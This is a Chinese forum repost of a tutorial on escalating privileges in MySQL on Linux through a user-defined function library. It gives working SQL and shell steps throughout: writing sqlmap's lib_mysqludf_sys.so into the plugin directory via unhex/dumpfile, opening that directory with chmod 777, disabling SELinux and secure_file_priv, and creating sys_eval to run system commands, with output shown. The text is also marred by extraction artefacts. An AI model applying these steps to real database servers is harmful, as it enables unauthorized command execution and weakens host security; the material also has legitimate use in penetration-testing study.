搜索

[21033] 2020-05-16_Linux利用UDF库实现Mysql提权

文档创建者：s7ckTeam
浏览次数：53
最后更新：2025-01-18
2020-05-16_Linux利用UDF库实现Mysql提权 L i n u x 利 用 U D F 库 实 现 M y s q l 提 权 L e m o n S e c   2 0 2 0 - 0 5 - 1 6     很 多 东 西 在 实 际 工 作 中 碰 不 到 ， 用 不 到 。 慢 慢 的 也 就 荒 废 了 ， 学 的 东 西 太 杂 ， 好 多 东 西 都 是 学 到 一 半 就 放 下 了 。 最 后 似 乎 成 了 一 无 所 精 。 慢 慢 的 越 来 越 迷 茫 。       年 前 学 了 一 段 时 间 C ， 还 没 学 会 就 开 始 学 C T F ， 依 旧 是 还 没 入 门 就 开 始 了 红 蓝 对 抗 。 最 近 思 考 的 东 西 越 来 越 多 ， 好 像 回 家 放 羊 ， 只 放 一 只 。 找 出 了 自 己 1 6 年 的 笔 记 ， 荒 废 的 东 西 总 要 先 捡 起 来 。 以 下 是 我 本 地 虚 拟 机 数 据 库 环 境 演 示 ： 简 述 ： 通 过 自 定 义 库 函 数 来 实 现 执 行 任 意 的 程 序 ， 这 里 只 在 l i n u x 下 测 试 通 过 ， 具 体 到 w i n d o w s ， 所 用 的 d l l 自 然 不 同 。   要 求 ：   在 m y s q l 库 下 必 须 有 f u n c 表 ， 并 且 在 ‑ ‑ s k i p ‑ g r a n t ‑ t a b l e s 开 启 的 情 况 下 ， U D F 会 被 禁 止 ；   过 程 ： 得 到 插 件 库 路 径   找 对 应 操 作 系 统 的 u d f 库 文 件   利 用 u d f 库 文 件 加 载 函 数 并 执 行 命 令 一 ， 得 到 插 件 库 路 径 m y s q l >   s h o w   v a r i a b l e s   l i k e   " % p l u g i n % " ; + - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - + |   V a r i a b l e _ n a m e   |   V a l u e                   | + - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - + |   p l u g i n _ d i r     |   / u s r / l i b / m y s q l / p l u g i n   | + - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - + 1   r o w   i n   s e t   ( 0 . 0 0   s e c ) 二 ， 找 对 应 操 作 系 统 的 u d f 库 文 件     自 己 本 机 的 s o 文 件 因 为 自 己 测 试 ， 看 了 下 自 己 系 统 的 版 本 ， 6 4 位   r o o t @ b t : ~ #   u n a m e   - a L i n u x   b t   3 . 2 . 6   # 1   S M P   F r i   F e b   1 7   1 0 : 3 4 : 2 0   E S T   2 0 1 2   x 8 6 _ 6 4   G N U / L i n u x 对 于 u d f 文 件 ， 在 s q l m a p 工 具 中 自 带 就 有 ， 只 要 找 对 应 操 作 系 统 的 版 本 即 可 r o o t @ b t : / p e n t e s t / d a t a b a s e / s q l m a p / u d f / m y s q l #   l s l i n u x   w i n d o w s r o o t @ b t : / p e n t e s t / d a t a b a s e / s q l m a p / u d f / m y s q l / l i n u x #   l s 3 2   6 4 r o o t @ b t : / p e n t e s t / d a t a b a s e / s q l m a p / u d f / m y s q l / l i n u x / 6 4 #   l s l i b _ m y s q l u d f _ s y s . s o 三 ， 利 用 u d f 库 文 件 加 载 函 数 并 执 行 命 令
首 先 要 得 到 u d f 库 文 件 的 十 六 进 制 格 式 ， 可 在 本 地 通 过 我 试 验 的 构 造 ： 我 试 验 的 构 造 ： s e l e c t   h e x ( l o a d _ f i l e ( ' / t m p / c e n t o s 7 . s o ' ) )   i n t o   o u t f i l e   ' / t m p / u u u . t x t ' ; / t m p / c e n t o s 7 . s o 为 我 本 地 的 为 我 本 地 的 s o 文 件 ， 文 件 ， / t m p / u u u . t x t 为 我 指 定 生 成 的 位 置 。 为 我 指 定 生 成 的 位 置 。 s e l e c t   h e x ( l o a d _ f i l e ( ' D : / p h p S t u d y / p l u g i n s / l i b _ m y s q l u d f _ s y s . s o ' ) )   i n t o   o u t f i l e   ' D : / p h p S t u d y / u u u . t x t ' ; 四 、 修 改 目 录 权 限   r o o t @ b t : ~ #   c h m o d   7 7 7   / u s r / l i b / m y s q l / p l u g i n 数 据 库 中 写 入 u d f 库 （ 我 试 验 中 的 u u u . t x t ） 到 m y s q l 库 目 录 :   我 试 验 的 构 造 ： 我 试 验 的 构 造 ： s e l e c t   u n h e x ( ' 7 F 4 5 4 C . . . . . . . ' )   i n t o   d u m p f i l e   ' / u s r / l i b 6 4 / m y s q l / p l u g i n / u d f u d f . s o ' ; 对 于 以 上 ， 可 能 会 出 现 的 报 错 ： 对 于 以 上 ， 可 能 会 出 现 的 报 错 ： 1 、 s e l e c t *   f r o m   x x x   i n t o   o u t f i l e   :   C a n ' t   c r e a t e / w r i t e   t o   f i l e   x x x   ( E r r c o d e :   1 3 ) 试 验 中 在 本 机 设 置 修 改 ， 如 连 接 对 方 数 据 库 爆 出 此 提 示 即 无 权 限 去 写 ， 原 因 ： C e n t o s 的 S E L I N U X 为 e n f o r c i n g 导 致 ， 原 因 可 自 行 百 度 强 访 问 控 制 。 m y s q l >   s e l e c t   u n h e x ( ' 7 F 4 5 4 C 4 6 0 2 0 . . . ' )   i n t o   d u m p f i l e   ' / u s r / l i b / m y s q l / p l u g i n / m y s q l u d f . s o ' ; Q u e r y   O K ,   1   r o w   a f f e c t e d   ( 0 . 0 4   s e c )
解 决 办 法 ： C e n t O S   下   M y S Q L 运 行   s e l e c t *   f r o m   x x x   i n t o   o u t f i l e 文 件 权 限 问 题 。 已 经 在 r o o t 用 户 权 限 下 。 s e l e c t   u s e r   f r o m   u s e r   i n t o   o u t f i l e   ' / o p t / t e s t . t x t ' ; E R R O R   1   ( H Y 0 0 0 ) :   C a n ' t   c r e a t e / w r i t e   t o   f i l e   ' / o p t / t e s t . t x t '   ( E r r c o d e :   1 3 ) 原 因 ： C e n t o s 的 S E L I N U X 为 e n f o r c i n g 导 致 解 决 方 法 ： 关 闭 S E L I N U X 1 、 临 时 关 闭 （ 不 用 重 启 机 器 ） ： s e t e n f o r c e   0                                     # # 设 置 S E L i n u x   成 为 p e r m i s s i v e 模 式                                                             # # s e t e n f o r c e   1   设 置 S E L i n u x   成 为 e n f o r c i n g 模 式 2 、 修 改 配 置 文 件 需 要 重 启 机 器 ： 修 改 / e t c / s e l i n u x / c o n f i g   文 件 v i   / e t c / s e l i n u x / c o n f i g 将 S E L I N U X = e n f o r c i n g 改 为 S E L I N U X = d i s a b l e d 重 启 机 器 即 可 二 、 报 错 ： 二 、 报 错 ： M Y S Q L 导 出 数 据 出 现 T h e   M y S Q L   s e r v e r   i s   r u n n i n g   w i t h   t h e   - - s e c u r e - f i l e - p r i v   o p t i o n   s o   i t   c a n n o t   e x e c u t e   t h i s 试 验 中 在 本 机 设 置 修 改 ， 如 连 接 对 方 数 据 库 爆 出 此 提 示 即 不 允 许 导 出 1 . 进 入 m y s q l 查 看 s e c u r e _ f i l e _ p r i v e 的 值 $ m y s q l   - u   r o o t   - p m y s q l > S H O W   V A R I A B L E S   L I K E   " s e c u r e _ f i l e _ p r i v " ; s e c u r e _ f i l e _ p r i v e = n u l l       - -   限 制 m y s q l d   不 允 许 导 入 导 出 s e c u r e _ f i l e _ p r i v = / t m p /       - -   限 制 m y s q l d 的 导 入 导 出 只 能 发 生 在 / t m p / 目 录 下 s e c u r e _ f i l e _ p r i v = '   '                   - -   不 对 m y s q l d   的 导 入   导 出 做 限 制
2 . 更 改 s e c u r e _ f i l e _ p r i 的 值 / u s r / l o c a l / m y s q l / s u p p o r t - f i l e s 中 的 m y - d e f a u l t . c n f 配 置 文 件 ， 就 把 它 复 制 到 / p r i v a t e / e t c 中 ， 重 命 名 为 “ m y . c n f ” ， 并 加 入 s e c u r e _ f i l e _ p r i v = ' ' ， 重 启 m y s q l 服 务 器 即 可 。 五 、 最 后 ， 加 载 函 数 并 执 行 ： m y s q l >   c r e a t e   f u n c t i o n   s y s _ e v a l   r e t u r n s   s t r i n g   s o n a m e   " m y s q l u d f . s o " ; Q u e r y   O K ,   0   r o w s   a f f e c t e d   ( 0 . 1 4   s e c )     m y s q l >   s e l e c t   s y s _ e v a l ( ' w h o a m i ' ) ; + - - - - - - - - - - - - - - - - - - - - + |   s y s _ e v a l ( ' w h o a m i ' )   | + - - - - - - - - - - - - - - - - - - - - + |   m y s q l               | + - - - - - - - - - - - - - - - - - - - - + 1   r o w   i n   s e t   ( 0 . 0 4   s e c )     m y s q l >   s e l e c t   *   f r o m   m y s q l . f u n c ; + - - - - - - - - - - + - - - - - + - - - - - - - - - - - - - + - - - - - - - - - - + |   n a m e       |   r e t   |   d l           |   t y p e       | + - - - - - - - - - - + - - - - - + - - - - - - - - - - - - - + - - - - - - - - - - + |   s y s _ e v a l   |     0   |   m y s q l u d f . s o   |   f u n c t i o n   | + - - - - - - - - - - + - - - - - + - - - - - - - - - - - - - + - - - - - - - - - - + 1   r o w   i n   s e t

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理